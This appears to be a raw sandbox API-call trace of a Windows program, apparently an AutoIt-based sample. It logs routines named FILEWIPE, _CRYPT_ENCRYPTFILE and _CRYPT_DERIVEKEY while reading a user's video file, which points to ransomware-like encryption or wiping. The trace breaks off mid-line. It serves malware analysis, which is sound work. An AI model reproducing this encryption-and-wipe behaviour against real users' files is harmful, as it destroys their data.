PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.926] CloseHandle (hObject=0x1fc) returned 1 [0029.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.928] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.928] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.928] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\kh2aQZThobwhV03zp.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\oy5jzvohderz\\kh2aqzthobwhv03zp.flv")) returned 0x20 [0029.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.928] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\kh2aQZThobwhV03zp.flv", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069e30 [0029.928] FindClose (in: hFindFile=0xe8f4069e30 | out: hFindFile=0xe8f4069e30) returned 1 [0029.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.928] CharLowerBuffW (in: lpsz="byte[20100]", cchLength=0xb | out: lpsz="byte[20100]") returned 0xb [0029.929] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.929] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.929] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.929] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.930] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0029.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40645c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0029.930] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.930] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.930] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.931] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.931] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.931] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.931] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.931] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.931] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.932] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.932] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.932] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.932] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.933] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.933] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.933] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.933] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12278) returned 1 [0029.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.933] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2ff6, lpOverlapped=0x0) returned 1 [0029.934] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.934] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2ff6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.934] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12278) returned 1 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.934] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.934] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.934] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.934] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.934] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.934] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.934] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.934] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.935] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.935] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.935] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.935] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.936] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.936] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199650) returned 1 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.936] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.937] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.937] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.937] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.937] PeekMessageW (in: 